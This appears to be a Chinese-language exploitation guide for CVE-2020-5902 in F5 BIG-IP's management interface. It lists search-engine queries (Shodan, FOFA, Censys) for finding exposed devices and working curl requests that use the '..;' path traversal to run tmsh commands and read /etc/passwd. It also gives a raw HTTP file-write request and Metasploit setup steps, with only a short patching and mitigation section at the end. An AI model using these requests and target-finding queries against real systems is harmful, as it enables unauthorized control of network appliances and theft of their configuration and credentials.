F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 附 shodan语法
漏洞原理
未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响，不影响数据面板。
影响版本
BIG-IP 15.x: 15.1.0/15.0.0
BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5
复现流程
1. 利用网络空间搜索引擎搜索F5 BIG-IP
shodan
http.favicon.hash:-335242539
http.title:"BIG-IP%26reg;- Redirect"
fofa
title="BIG-IP®- Redirect"
censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:"BIG-IP®- Redirect"
inurl:"tmui/login.jsp"
intitle:"BIG-IP" inurl:"tmui"
2. 可利用的POC和EXP
POC
RCE: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
配置文件
/config/bigip.license
/config/bigip.conf
EXP
// system commands
// 需要条件竞争才能执行成功(burpsuit)
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
// 写入/tmp/1.txt文件
Upload File:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
fileName=/tmp/1.txt&content=CVE-2020-5902
// 读取/tmp/1.txt文件
Read File
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
msf github项目上推送了exp脚本(f5_bigip_tmui_rce.rb)
https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
该脚本暂未同步到msf,需手动添加到/usr/share/metasploit-framework/modules/exploits/linux/http/下
然后 reload_all //重新加载模块
msf5 > search tmui
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/f5_bigip_tmui_rce 2020-06-30 excellent Yes F5 BIG-IP TMUI Directory Traversal and File Upload RCE
msf5 exploit(linux/http/f5_bigip_tmui_rce) > options
Module options (exploit/linux/http/f5_bigip_tmui_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
# 设置参数
set rhost
set lhost
run
5. 补充
现版本 msf exp脚本(f5_bigip_tmui_rce.rb)写入的文件需要手动删除
修复方案
1、升级到以下版本
BIG-IP 15.x: 15.1.0.4
BIG-IP 14.x: 14.1.2.6
BIG-IP 13.x: 13.1.3.4
BIG-IP 12.x: 12.1.5.2
BIG-IP 11.x: 11.6.5.2
2、临时修补建议：
官方建议可以通过以下步骤临时缓解影响
1) 使用以下命令登录对应系统
tmsh
2) 编辑 httpd 组件的配置文件
edit /sys httpd all-properties
3) 文件内容如下
include '
Redirect 404 /
'
4) 按照如下操作保存文件
按下 ESC 并依次输入
:wq
5) 执行命令刷新配置文件
save /sys config
6) 重启 httpd 服务
restart sys service httpd
并禁止外部IP对 TMUI 页面的访问
参考链接
https://www.cnblogs.com/potatsoSec/p/13253288.html
https://github.com/jas502n/CVE-2020-5902
https://github.com/rapid7/metasploit-framework/pull/13807